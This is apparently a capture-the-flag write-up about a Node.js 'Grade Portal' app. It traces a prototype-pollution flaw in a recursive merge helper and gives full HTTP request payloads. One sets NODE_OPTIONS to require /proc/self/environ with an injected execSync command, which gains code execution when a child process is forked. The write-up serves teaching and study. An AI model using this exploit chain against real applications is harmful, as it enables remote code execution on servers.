Application Overview

Visiting the application shows a static page titled “Welcome to the Grade Portal!”, listing two students, Kenny Baker and Jack Purvis, along with a “Did I pass?” button.

Grade Portal welcome page showing Kenny Baker and Jack Purvis

Clicking the button returns a randomized negative message.

"Did I pass?" button clicked, showing a randomized "NOOOOOOOOOOOPE" response

That’s all the functionality the application exposes on the frontend, so we move on to reviewing the source code.

Source Code Review

routes/index.js defines two routes besides the index route:

router.get('/debug/:action', (req, res) => {
    return DebugHelper.execute(res, req.params.action);
});
 
router.post('/api/calculate', (req, res) => {
    let student = ObjectHelper.clone(req.body);
 
    if (StudentHelper.isDumb(student.name) || !StudentHelper.hasBase(student.paper)) {
        return res.send({
            'pass': 'n' + randomize('?', 10, {chars: 'o0'}) + 'pe'
        });
    }
 
    return res.send({
        'pass': 'Passed'
    });
});

/debug/:action

This route takes the action parameter straight from the URL and passes it to DebugHelper.execute:

// helpers/DebugHelper.js
const { execSync, fork } = require('child_process');
 
module.exports = {
    execute(res, command) {
        res.type('txt');
 
        if (command == 'version') {
            let proc = fork('VersionCheck.js', [], {
                stdio: ['ignore', 'pipe', 'pipe', 'ipc']
            });
 
            proc.stderr.pipe(res);
            proc.stdout.pipe(res);
            return;
        }
 
        if (command == 'ram') {
            return res.send(execSync('free -m').toString());
        }
 
        return res.send('invalid command');
    }
}

If command equals version, the application forks VersionCheck.js as a child process and pipes its output back to the response. If it equals ram, it runs free -m and returns the output directly. Anything else returns invalid command.

VersionCheck.js just compares the nodeVersion field defined in package.json against the current process.version:

// VersionCheck.js
const package = require('./package.json');
const nodeVersion = process.version;
 
if (package.nodeVersion == nodeVersion) {
    console.log(`Everything is OK (${package.nodeVersion} == ${nodeVersion})`);
} else {
    console.log(`You are using a different version of nodejs (${package.nodeVersion} != ${nodeVersion})`);
}

/api/calculate

This route clones req.body into a student object using ObjectHelper.clone, then validates it against StudentHelper. If StudentHelper.isDumb(student.name) returns true, or StudentHelper.hasBase(student.paper) returns false, the app responds with the randomized negative message. Otherwise, it responds with Passed.

// helpers/StudentHelper.js
module.exports = {
    isDumb(name){
        return (name.includes('Baker') || name.includes('Purvis'));
    },
 
    hasBase(grade) {
        return (grade >= 10);
    }
};

isDumb returns true if the supplied name contains “Baker” or “Purvis”, which matches the two students already shown on the page. hasBase returns true if the grade is 10 or greater.

ObjectHelper

ObjectHelper.clone is what actually copies the request body into the student object, by recursively merging it on top of an empty object:

// helpers/ObjectHelper.js
module.exports = {
    isObject(obj) {
        return typeof obj === 'function' || typeof obj === 'object';
    },
 
    isValidKey(key) {
        return key !== '__proto__';
    },
 
    merge(target, source) {
        for (let key in source) {
            if (this.isValidKey(key)){
                if (this.isObject(target[key]) && this.isObject(source[key])) {
                    this.merge(target[key], source[key]);
                } else {
                    target[key] = source[key];
                }
            }
        }
        return target;
    },
 
    clone(target) {
        return this.merge({}, target);
    }
}

The only key merge blocks is the literal __proto__. It doesn’t block constructor or prototype, which is what makes this recursive merge vulnerable to prototype pollution.

Prototype Pollution

JavaScript is prototype-based, and nearly every object is an instance of Object, inheriting properties (including methods) from Object.prototype.

Diagram of the JavaScript prototype chain, from Object.prototype down to Function, Animal.constructor, Bird, and Crow

Since isValidKey only filters out __proto__ directly and merge walks recursively through every nested key of a user-controlled object, an attacker can reach Object.prototype indirectly through constructor.prototype. Any property set that way becomes part of every object in the application from then on, since every object ultimately inherits from Object.prototype.

To confirm this, we try polluting a status property on the prototype and force Express to throw and render an error with our injected status code, by sending a malformed JSON body:

POST /api/calculate HTTP/1.1
Host: bara.local:1337
Content-Type: application/json
 
{
  "name": "bara",
  "paper": 10,
  "constructor": {
    "prototype": {
      "status": 555
    }
  }
}

Burp Suite request/response, showing the malformed JSON triggering an HTTP 555 unknown response

The response comes back as HTTP/1.1 555 unknown, confirming the pollution worked and that we can influence application-wide behavior through it.

Exploitation

Since we’re able to pollute Object.prototype, we can also set an env property on it. Any child process the application forks inherits its environment from process.env, and on Linux, /proc/self/environ exposes all environment variables of the current process. Combined with the NODE_OPTIONS environment variable, we can make Node.js require /proc/self/environ as if it were a JavaScript file the next time a child process is spawned, executing whatever we’ve stored as an environment variable as code.

We send a request that pollutes env with a variable containing a command injection payload, and set NODE_OPTIONS to --require /proc/self/environ:

POST /api/calculate HTTP/1.1
Host: bara.local:1337
Content-Type: application/json
 
{
  "name": "bara",
  "paper": 10,
  "constructor": {
    "prototype": {
      "env": {
        "AAAA": "1;throw require('child_process').execSync('id').toString()//",
        "NODE_OPTIONS": "--require /proc/self/environ"
      }
    }
  }
}

With the polluted environment in place, we hit /debug/version, which forks VersionCheck.js as a child process. Since NODE_OPTIONS is now set, Node.js requires /proc/self/environ before running the script, which triggers our injected command:

GET /debug/version HTTP/1.1
Host: bara.local:1337

Burp Suite request/response showing the output of the "id" command returned through /debug/version

The response includes the output of id, confirming remote code execution through prototype pollution.


written by bara